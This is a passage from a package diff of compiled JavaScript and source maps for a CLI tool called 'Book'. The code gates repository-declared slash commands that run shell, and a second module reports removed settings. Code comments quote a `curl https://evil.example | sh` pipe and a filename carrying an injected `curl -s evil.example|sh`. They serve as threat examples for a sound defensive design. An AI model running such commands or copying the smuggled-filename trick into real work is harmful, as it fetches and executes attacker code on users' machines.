projectCommandFingerprint,
|
|
157
|
+
evaluateProjectCommandApproval,
|
|
158
|
+
partitionProjectCommands,
|
|
159
|
+
ProjectCommandApprovalError,
|
|
160
|
+
displayableCommandName,
|
|
161
|
+
shellSafeCommandName,
|
|
162
|
+
describeProjectCommandShell,
|
|
163
|
+
describeProjectCommandApproval,
|
|
164
|
+
assertProjectCommandApproved,
|
|
165
|
+
persistProjectCommandChoice
|
|
166
|
+
};
|
|
167
|
+
//# sourceMappingURL=chunk-5KLVH3PY.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/command-approvals.ts","../src/commands/shell-injection.ts"],"sourcesContent":["/**\r\n * Trust decisions for shell substitution in project-declared slash commands.\r\n *\r\n * A `.book/commands/*.md` body may contain inline shell spans and fenced shell\r\n * blocks, which the resolver executes before the prompt reaches the model. That\r\n * execution predates the permission system: no rule is consulted, no sandbox\r\n * applies, and nothing is asked. A checked-in command file is therefore\r\n * repository-controlled code that runs on invocation, and since print/headless\r\n * hosts expand custom commands through the same resolver, `book -p \"/name\"`\r\n * reaches the same shell without a terminal to warn anyone.\r\n *\r\n * Project command files consequently need the one-time decision an `.mcp.json`\r\n * server already needs. It is recorded outside the workspace, in\r\n * `<BOOK_HOME>/trust.json` keyed by workspace path, for the reason the other\r\n * three gated classes moved there: `.gitignore` does not stop a *tracked* file\r\n * from reaching a clone, so a repository that force-adds\r\n * `.book/settings.local.json` would otherwise ship its own approvals and arrive\r\n * pre-trusted. Both workspace settings layers are stripped of the key, so\r\n * nothing the gated party writes can answer for it.\r\n *\r\n * The fingerprint covers the extracted shell, not the whole body: editing what\r\n * runs invalidates the decision, editing the surrounding prose does not. Prose\r\n * is prompt text, and the tool calls a model makes from it still have to get\r\n * past the permission system; re-prompting on every wording change is how a\r\n * gate teaches people to approve without reading.\r\n *\r\n * User-global commands (<BOOK_HOME>/commands) were written by the user and are\r\n * never gated; a project command that substitutes no shell has nothing to\r\n * approve and is never gated either.\r\n */\r\nimport { createHash } from 'crypto';\r\nimport { extractShellInjections } from './commands/shell-injection.js';\r\nimport type { CommandSettings, ProjectCommandChoice } from './settings.js';\r\nimport type { SlashCommand } from './types/commands.js';\r\nimport { updateWorkspaceTrust } from './workspace-trust.js';\r\n\r\n/** Recorded decisions, keyed by command name. */\r\nexport type ProjectCommandStore = Record<string, ProjectCommandChoice>;\r\n\r\nexport interface CommandApprovalSettings {\r\n commands?: Partial<CommandSettings>;\r\n}\r\n\r\n/**\r\n * Stable digest of exactly the shell a body will run, in order.\r\n *\r\n * Kind participates: moving a command between an inline span and a fenced block\r\n * changes how its output lands in the prompt.\r\n */\r\nexport function projectCommandFingerprint(body: string): string {\r\n const canonical = JSON.stringify(\r\n extractShellInjections(body).map((injection) => [injection.kind, injection.command]),\r\n );\r\n return createHash('sha256').update(canonical).digest('hex').slice(0, 16);\r\n}\r\n\r\nexport type ProjectCommandApprovalState = 'not-required' | 'approved' | 'rejected' | 'unknown';\r\n\r\nexport function evaluateProjectCommandApproval(\r\n settings: CommandApprovalSettings,\r\n command: SlashCommand,\r\n): ProjectCommandApprovalState {\r\n if (command.source !== 'project') return 'not-required';\r\n if (extractShellInjections(command.body).length === 0) return 'not-required';\r\n const choice = settings.commands?.projectCommands?.[command.name];\r\n if (!choice) return 'unknown';\r\n // A body edited after the decision is a new thing to decide on, not a\r\n // decision already made.\r\n if (choice.fingerprint !== projectCommandFingerprint(command.body)) return 'unknown';\r\n return choice.choice;\r\n}\r\n\r\nexport interface ProjectCommandApprovalPartition {\r\n /** Approved by the user: their shell substitution runs. */\r\n approved: SlashCommand[];\r\n /** No valid decision recorded: refused until the user makes one. */\r\n pending: SlashCommand[];\r\n /** Explicitly refused. */\r\n rejected: SlashCommand[];\r\n}\r\n\r\n/**\r\n * Partition the commands that are subject to the gate. Commands that need no\r\n * decision — user-global, or substituting no shell — appear in none of the\r\n * three lists, so a caller reporting this reports only real decisions.\r\n */\r\nexport function partitionProjectCommands(\r\n commands: readonly SlashCommand[],\r\n settings: CommandApprovalSettings,\r\n): ProjectCommandApprovalPartition {\r\n const partition: ProjectCommandApprovalPartition = { approved: [], pending: [], rejected: [] };\r\n for (const command of commands) {\r\n const state = evaluateProjectCommandApproval(settings, command);\r\n if (state === 'approved') partition.approved.push(command);\r\n else if (state === 'rejected') partition.rejected.push(command);\r\n else if (state === 'unknown') partition.pending.push(command);\r\n }\r\n return partition;\r\n}\r\n\r\n/** Raised instead of running unapproved repository shell. */\r\nexport class ProjectCommandApprovalError extends Error {\r\n constructor(\r\n readonly commandName: string,\r\n readonly fingerprint: string,\r\n readonly state: 'unknown' | 'rejected',\r\n message: string,\r\n ) {\r\n super(message);\r\n this.name = 'ProjectCommandApprovalError';\r\n }\r\n}\r\n\r\nconst MAX_LISTED_COMMANDS = 5;\r\nconst MAX_COMMAND_CHARS = 160;\r\n/**\r\n * Everything that can make rendered text differ from the text that runs:\r\n * C0 controls and DEL, the separators NEL/LS/PS, and the bidi marks,\r\n * embeddings, overrides and isolates. An override can display\r\n * `curl https://evil.example | sh` as something harmless while the approved\r\n * digest covers the real thing.\r\n */\r\nconst CONTROL_CHARACTERS =\r\n /[\\u0000-\\u001f\\u007f\\u0085\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g;\r\n\r\n/**\r\n * Render repository-authored text for a terminal.\r\n *\r\n * The command strings come from a file the gated party wrote, so control\r\n * characters are stripped before display: an ANSI escape in a command body\r\n * could otherwise repaint or hide the very lines the user is being asked to\r\n * judge.\r\n */\r\nfunction displayable(command: string): string {\r\n const flattened = command.replace(CONTROL_CHARACTERS, ' ').trim();\r\n return flattened.length > MAX_COMMAND_CHARS\r\n ? `${flattened.slice(0, MAX_COMMAND_CHARS)}…`\r\n : flattened;\r\n}\r\n\r\n/**\r\n * A command's name is the filename the repository chose, so it is untrusted\r\n * text on the same footing as the body. Prose renders it stripped of anything\r\n * that could repaint the refusal the user is being asked to judge.\r\n */\r\nexport function displayableCommandName(name: string): string {\r\n return displayable(name);\r\n}\r\n\r\n/**\r\n * The name only when it is safe to hand someone as a shell word.\r\n *\r\n * A refusal prints a `book trust command <name>` line for the user to paste\r\n * into their own shell, and the name reaching it came from the gated party. A\r\n * repository shipping ``.book/commands/deploy`curl -s evil.example|sh`.md``\r\n * would otherwise have its payload executed by the very act of approving —\r\n * quoting is not enough, because the name is also what the user reads to\r\n * decide. Anything outside a plain filename returns null and the caller prints\r\n * no paste-ready line at all.\r\n */\r\nexport function shellSafeCommandName(name: string): string | null {\r\n return /^[A-Za-z0-9][A-Za-z0-9._-]*$/.test(name) ? name : null;\r\n}\r\n\r\n/**\r\n * The shell a body substitutes, rendered for a terminal, one line per command.\r\n *\r\n * Approving a command approves this, so any surface that offers the decision\r\n * has to be able to show it — `book doctor` listing what is withheld, and\r\n * `book trust command --all-pending`, which would otherwise grant a list of\r\n * names. Truncation is reported rather than hidden.\r\n */\r\nexport function describeProjectCommandShell(command: SlashCommand): string[] {\r\n const injections = extractShellInjections(command.body);\r\n const listed = injections.slice(0, MAX_LISTED_COMMANDS);\r\n return [\r\n ...listed.map((injection) => `$ ${displayable(injection.command)}`),\r\n ...(injections.length > listed.length\r\n ? [`…and ${injections.length - listed.length} more — read the file before approving`]\r\n : []),\r\n ];\r\n}\r\n\r\nexport function describeProjectCommandApproval(\r\n command: SlashCommand,\r\n state: 'unknown' | 'rejected',\r\n): string {\r\n const injections = extractShellInjections(command.body);\r\n const listed = injections.slice(0, MAX_LISTED_COMMANDS);\r\n const shown = displayableCommandName(command.name);\r\n const safeName = shellSafeCommandName(command.name);\r\n // Approving from a truncated view is approving what you did not read, so\r\n // an abbreviated listing says so and names the file to read instead.\r\n const abbreviated =\r\n injections.length > listed.length ||\r\n listed.some((injection) => displayable(injection.command) !== injection.command);\r\n return [\r\n state === 'rejected'\r\n ? `/${shown} substitutes shell you rejected.`\r\n : `/${shown} substitutes shell that has not been approved.`,\r\n '',\r\n ` .book/commands/${shown}.md runs ${injections.length} shell command${\r\n injections.length === 1 ? '' : 's'\r\n } to build its prompt.`,\r\n ' That happens before the model sees anything, outside the permission system',\r\n ' and outside the sandbox, so it needs a decision first:',\r\n '',\r\n ...listed.map((injection) => ` $ ${displayable(injection.command)}`),\r\n ...(injections.length > listed.length\r\n ? [` …and ${injections.length - listed.length} more`]\r\n : []),\r\n '',\r\n ...(safeName\r\n ? [\r\n ` Approve with: book trust command ${safeName}`,\r\n ` Refuse it with: book trust command ${safeName} --reject`,\r\n ' Run it from the project, or pass --workspace. Editing what the command runs asks again.',\r\n ]\r\n : [\r\n ' This command’s file name is not a plain name, so no command to paste is offered:',\r\n ' a name is a filename the repository chose, and pasting one can run what it contains.',\r\n ' Rename the file, or decide it with `book trust command --all-pending`.',\r\n ]),\r\n ...(abbreviated\r\n ? [\r\n ` Not shown verbatim (abbreviated, or unsafe characters stripped) — read`,\r\n ` .book/commands/${shown}.md in full before approving.`,\r\n ]\r\n : []),\r\n ].join('\\n');\r\n}\r\n\r\n/**\r\n * Fail closed before any substitution happens.\r\n *\r\n * A caller that supplies no store is treated as having no decision on file,\r\n * which refuses rather than runs: an unwired host cannot silently reopen the\r\n * gate.\r\n */\r\nexport function assertProjectCommandApproved(\r\n command: SlashCommand,\r\n settings: CommandApprovalSettings,\r\n): void {\r\n const state = evaluateProjectCommandApproval(settings, command);\r\n if (state === 'approved' || state === 'not-required') return;\r\n throw new ProjectCommandApprovalError(\r\n command.name,\r\n projectCommandFingerprint(command.body),\r\n state,\r\n describeProjectCommandApproval(command, state),\r\n );\r\n}\r\n\r\n/** Record an approve/reject decision in the user-global trust store. */\r\nexport function persistProjectCommandChoice(\r\n workspace: string,\r\n name: string,\r\n fingerprint: string,\r\n choice: ProjectCommandChoice['choice'],\r\n options: { trustStorePath?: string } = {},\r\n): { ok: boolean; error?: string } {\r\n return updateWorkspaceTrust(\r\n workspace,\r\n (trust) => {\r\n trust.projectCommands[name] = { fingerprint, choice };\r\n },\r\n options.trustStorePath,\r\n );\r\n}\r\n","/**\r\n * Extraction of the shell substitutions a slash-command body performs.\r\n *\r\n * Two callers must never disagree about this list: the approval fingerprint\r\n * (`command-approvals.ts`) and the executor (`resolve.ts`). Deriving both from\r\n * one scan is what makes \"the shell that ran is the shell that was approved\"\r\n * true by construction rather than by review.\r\n *\r\n * Extraction runs against the raw body, before variable substitution, because\r\n * that is when the resolver executes: the `command` string here is byte-for-byte\r\n * what reaches the shell, so `$ARGUMENTS` cannot smuggle anything into an\r\n * approved command.\r\n *\r\n * The single scan also closes a second-order hole. Substituting fenced blocks\r\n * first and then scanning the *result* for inline backticks — as this resolver\r\n * used to — re-reads command output as source, so a block that printed\r\n * ``!`cmd` `` would have it executed. Spans are taken from the original body\r\n * once and output is never rescanned.\r\n */\r\n\r\nexport type ShellInjectionKind = 'block' | 'command';\r\n\r\nexport interface ShellInjection {\r\n /** ```` ```! ```` fenced block, or an inline ``!`cmd` `` span. */\r\n kind: ShellInjectionKind;\r\n /** Exactly the string handed to the shell. */\r\n command: string;\r\n /** Half-open span of the placeholder within the body. */\r\n start: number;\r\n end: number;\r\n}\r\n\r\n/**\r\n * Fenced blocks are matched against the raw body, independently of everything\r\n * else in it. Folding both forms into one alternation looked equivalent and was\r\n * not: an earlier plain ``` fence or a stray backtick leaves odd backtick\r\n * parity, and the inline alternative then swallows the first backtick of a\r\n * later ```! opener — turning a block into an inline command with a span that\r\n * leaves stray backticks in the prompt.\r\n */\r\nconst BLOCK_PATTERN = /```!\\s*\\n([\\s\\S]*?)```/g;\r\nconst INLINE_PATTERN = /!?`([^`]+)`/g;\r\n\r\nexport function extractShellInjections(body: string): ShellInjection[] {\r\n const injections: ShellInjection[] = [];\r\n // Same UTF-16 code units the regex indexes, so blanking a span preserves\r\n // every later offset exactly.\r\n const outsideBlocks = body.split('');\r\n\r\n for (const match of body.matchAll(BLOCK_PATTERN)) {\r\n const start = match.index ?? 0;\r\n const end = start + match[0].length;\r\n injections.push({ kind: 'block', command: match[1].trim(), start, end });\r\n // Blank the span before the inline scan: a block contributes no backticks\r\n // to pair with, and — unlike substituting its output first — nothing a\r\n // command prints can be read back as source.\r\n for (let index = start; index < end; index++) outsideBlocks[index] = ' ';\r\n }\r\n\r\n for (const match of outsideBlocks.join('').matchAll(INLINE_PATTERN)) {\r\n const inline = match[1];\r\n // A plain `code` span is Markdown prose, not an instruction to run anything.\r\n if (!match[0].startsWith('!`') && !inline.startsWith('!')) continue;\r\n const start = match.index ?? 0;\r\n injections.push({\r\n kind: 'command',\r\n command: (inline.startsWith('!') ? inline.slice(1) : inline).trim(),\r\n start,\r\n end: start + match[0].length,\r\n });\r\n }\r\n\r\n // Document order: it is both the execution order and what the approval\r\n // fingerprint digests.\r\n return injections.sort((left, right) => left.start - right.start);\r\n}\r\n\r\n/**\r\n * Replace each extracted span with its output.\r\n *\r\n * `outputs` is positional against `injections`, which must have come from\r\n * `extractShellInjections(body)` — the spans index into that exact body.\r\n */\r\nexport function applyShellInjections(\r\n body: string,\r\n injections: readonly ShellInjection[],\r\n outputs: readonly string[],\r\n): string {\r\n let result = '';\r\n let cursor = 0;\r\n for (const [index, injection] of injections.entries()) {\r\n result += body.slice(cursor, injection.start);\r\n result += outputs[index] ?? '';\r\n cursor = injection.end;\r\n }\r\n return result + body.slice(cursor);\r\n}\r\n"],"mappings":"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","names":[]}
|
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
// src/settings-removed.ts
|
|
2
|
+
import { existsSync, readFileSync } from "fs";
|
|
3
|
+
var REMOVED_BLOCKS = [
|
|
4
|
+
[
|
|
5
|
+
"auth",
|
|
6
|
+
'Subscription authentication was removed; Book authenticates with API keys only. Delete the "auth" block, and set BOOK_API_KEY or provider.<id>.apiKey instead.'
|
|
7
|
+
],
|
|
8
|
+
[
|
|
9
|
+
"harness",
|
|
10
|
+
'The adaptive harness was removed. Delete the "harness" block; it is no longer read.'
|
|
11
|
+
],
|
|
12
|
+
[
|
|
13
|
+
"experimental",
|
|
14
|
+
'The experimental Zero-Mem capability was removed and with it the "experimental" block. Delete it; compaction is always the production summary strategy now.'
|
|
15
|
+
]
|
|
16
|
+
];
|
|
17
|
+
var REMOVED_AUTH_STORE_FILENAME = "auth.json";
|
|
18
|
+
function removedAuthStoreNotice(path) {
|
|
19
|
+
return `${path} holds an OAuth refresh token from the removed subscription login. Nothing reads it any more \u2014 delete the file, and revoke the token with the provider if it was ever used.`;
|
|
20
|
+
}
|
|
21
|
+
var REMOVED_ENV_VARS = [
|
|
22
|
+
["BOOK_AUTH_PROFILE", "Subscription authentication was removed; use BOOK_API_KEY."],
|
|
23
|
+
["BOOK_AUTH_CLIENT_ID", "Subscription authentication was removed; use BOOK_API_KEY."],
|
|
24
|
+
["BOOK_AUTH_CLIENT_SECRET", "Subscription authentication was removed; use BOOK_API_KEY."],
|
|
25
|
+
["BOOK_EXPERIMENTAL_ZERO_MEM", "Zero-Mem was removed; summary compaction is the only strategy."],
|
|
26
|
+
["BOOK_ZERO_MEM_MODEL_CACHE", "Zero-Mem was removed."],
|
|
27
|
+
["BOOK_ZERO_MEM_LOCAL_FILES_ONLY", "Zero-Mem was removed."],
|
|
28
|
+
[
|
|
29
|
+
"BOOK_COMPACT_STRATEGY",
|
|
30
|
+
"Compaction strategy is no longer selectable; summary is the only one."
|
|
31
|
+
]
|
|
32
|
+
];
|
|
33
|
+
function isRecord(value) {
|
|
34
|
+
return typeof value === "object" && value !== null && !Array.isArray(value);
|
|
35
|
+
}
|
|
36
|
+
function readSettingsDocumentForNotices(path) {
|
|
37
|
+
try {
|
|
38
|
+
if (!existsSync(path)) return void 0;
|
|
39
|
+
return JSON.parse(readFileSync(path, "utf-8"));
|
|
40
|
+
} catch {
|
|
41
|
+
return void 0;
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
function hadRemovedAuthConfiguration(settingsFilePaths, env) {
|
|
45
|
+
if (Object.keys(env).some((key) => key.startsWith("BOOK_AUTH_"))) return true;
|
|
46
|
+
return settingsFilePaths.some((path) => {
|
|
47
|
+
const document = readSettingsDocumentForNotices(path);
|
|
48
|
+
return isRecord(document) && document.auth !== void 0;
|
|
49
|
+
});
|
|
50
|
+
}
|
|
51
|
+
function collectRemovedSettingNotices(document) {
|
|
52
|
+
if (!isRecord(document)) return [];
|
|
53
|
+
const notices = [];
|
|
54
|
+
for (const [key, message] of REMOVED_BLOCKS) {
|
|
55
|
+
if (document[key] !== void 0) notices.push({ key, message });
|
|
56
|
+
}
|
|
57
|
+
if (document.compactStrategy !== void 0 && document.compactStrategy !== "summary") {
|
|
58
|
+
notices.push({
|
|
59
|
+
key: "compactStrategy",
|
|
60
|
+
message: `compactStrategy: ${JSON.stringify(document.compactStrategy)} is no longer a choice. Zero-Mem was removed and summary compaction is the only strategy; delete the key.`
|
|
61
|
+
});
|
|
62
|
+
}
|
|
63
|
+
return notices;
|
|
64
|
+
}
|
|
65
|
+
function collectRemovedEnvNotices(env) {
|
|
66
|
+
const notices = [];
|
|
67
|
+
for (const [name, message] of REMOVED_ENV_VARS) {
|
|
68
|
+
const matches = name.endsWith("CLIENT_ID") || name.endsWith("CLIENT_SECRET") ? Object.keys(env).filter((key) => key.startsWith(`${name}_`) || key === name) : env[name] !== void 0 ? [name] : [];
|
|
69
|
+
for (const key of matches) notices.push({ key, message });
|
|
70
|
+
}
|
|
71
|
+
return notices;
|
|
72
|
+
}
|
|
73
|
+
function normalizeRemovedSettings(document) {
|
|
74
|
+
if (!isRecord(document)) return document;
|
|
75
|
+
if (document.compactStrategy === void 0 || document.compactStrategy === "summary") {
|
|
76
|
+
return document;
|
|
77
|
+
}
|
|
78
|
+
const normalized = { ...document };
|
|
79
|
+
delete normalized.compactStrategy;
|
|
80
|
+
return normalized;
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
export {
|
|
84
|
+
REMOVED_AUTH_STORE_FILENAME,
|
|
85
|
+
removedAuthStoreNotice,
|
|
86
|
+
readSettingsDocumentForNotices,
|
|
87
|
+
hadRemovedAuthConfiguration,
|
|
88
|
+
collectRemovedSettingNotices,
|
|
89
|
+
collectRemovedEnvNotices,
|
|
90
|
+
normalizeRemovedSettings
|
|
91
|
+
};
|
|
92
|
+
//# sourceMappingURL=chunk-5RDRAO4B.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/settings-removed.ts"],"sourcesContent":["/**\n * Settings that used to exist and no longer do.\n *\n * Removing a feature leaves its configuration behind on real machines, and zod\n * strips unknown keys silently — so a user who configured a removed capability\n * gets no signal at all that their setting stopped being read. Worse, a removed\n * *value* of a surviving key (`compactStrategy: \"zero-mem\"`) fails the schema\n * and takes the whole document down with a raw validator dump naming no remedy.\n *\n * This module is the one place that knows what was removed, so both failure\n * modes become a sentence that names the feature, the file, and the edit to\n * make. Notices are advisory: a stale key must not brick a working install, so\n * nothing here throws. `book doctor` prints them, and the credential error\n * consults them when the removed block was the user's only credential.\n */\n\nimport { existsSync, readFileSync } from 'node:fs';\n\n/** A removed setting found in a document, and what to tell the user about it. */\nexport interface RemovedSettingNotice {\n /** Dotted path of the offending key, e.g. `auth` or `compactStrategy`. */\n key: string;\n message: string;\n}\n\n/** Removed top-level settings blocks, with the guidance for each. */\nconst REMOVED_BLOCKS: ReadonlyArray<readonly [string, string]> = [\n [\n 'auth',\n 'Subscription authentication was removed; Book authenticates with API keys only. ' +\n 'Delete the \"auth\" block, and set BOOK_API_KEY or provider.<id>.apiKey instead.',\n ],\n [\n 'harness',\n 'The adaptive harness was removed. Delete the \"harness\" block; it is no longer read.',\n ],\n [\n 'experimental',\n 'The experimental Zero-Mem capability was removed and with it the \"experimental\" block. ' +\n 'Delete it; compaction is always the production summary strategy now.',\n ],\n];\n\n/** The credential file `book auth login` used to write, which nothing reads any more. */\nexport const REMOVED_AUTH_STORE_FILENAME = 'auth.json';\n\n/**\n * Guidance for the orphaned credential store. The file is deliberately not\n * deleted for the user: it is theirs, it is mode 0600, and a tool that removes\n * credentials without being asked is worse than one that reports them.\n */\nexport function removedAuthStoreNotice(path: string): string {\n return (\n `${path} holds an OAuth refresh token from the removed subscription login. ` +\n 'Nothing reads it any more — delete the file, and revoke the token with the provider ' +\n 'if it was ever used.'\n );\n}\n\n/** Environment variables that no longer do anything, with their guidance. */\nconst REMOVED_ENV_VARS: ReadonlyArray<readonly [string, string]> = [\n ['BOOK_AUTH_PROFILE', 'Subscription authentication was removed; use BOOK_API_KEY.'],\n ['BOOK_AUTH_CLIENT_ID', 'Subscription authentication was removed; use BOOK_API_KEY.'],\n ['BOOK_AUTH_CLIENT_SECRET', 'Subscription authentication was removed; use BOOK_API_KEY.'],\n ['BOOK_EXPERIMENTAL_ZERO_MEM', 'Zero-Mem was removed; summary compaction is the only strategy.'],\n ['BOOK_ZERO_MEM_MODEL_CACHE', 'Zero-Mem was removed.'],\n ['BOOK_ZERO_MEM_LOCAL_FILES_ONLY', 'Zero-Mem was removed.'],\n [\n 'BOOK_COMPACT_STRATEGY',\n 'Compaction strategy is no longer selectable; summary is the only one.',\n ],\n];\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return typeof value === 'object' && value !== null && !Array.isArray(value);\n}\n\n/** Parse a settings file for inspection, or undefined if it is missing or unreadable. */\nexport function readSettingsDocumentForNotices(path: string): unknown {\n try {\n if (!existsSync(path)) return undefined;\n return JSON.parse(readFileSync(path, 'utf-8'));\n } catch {\n // A malformed file is a different problem, reported by the loader.\n return undefined;\n }\n}\n\n/**\n * Did this machine carry subscription-auth configuration that is no longer read?\n *\n * Consulted only on the \"no credential\" error path, so the file reads cost\n * nothing in the normal case.\n */\nexport function hadRemovedAuthConfiguration(\n settingsFilePaths: readonly string[],\n env: NodeJS.ProcessEnv,\n): boolean {\n if (Object.keys(env).some((key) => key.startsWith('BOOK_AUTH_'))) return true;\n return settingsFilePaths.some((path) => {\n const document = readSettingsDocumentForNotices(path);\n return isRecord(document) && document.auth !== undefined;\n });\n}\n\n/**\n * Removed settings present in one parsed settings document.\n *\n * Takes the *raw* parsed JSON rather than a validated document, because the\n * whole point is to see the keys validation is about to discard.\n */\nexport function collectRemovedSettingNotices(document: unknown): RemovedSettingNotice[] {\n if (!isRecord(document)) return [];\n const notices: RemovedSettingNotice[] = [];\n for (const [key, message] of REMOVED_BLOCKS) {\n if (document[key] !== undefined) notices.push({ key, message });\n }\n // A removed *value* of a surviving key. `compactStrategy` still exists and is\n // now `\"summary\"` only, so the old Zero-Mem selector has to 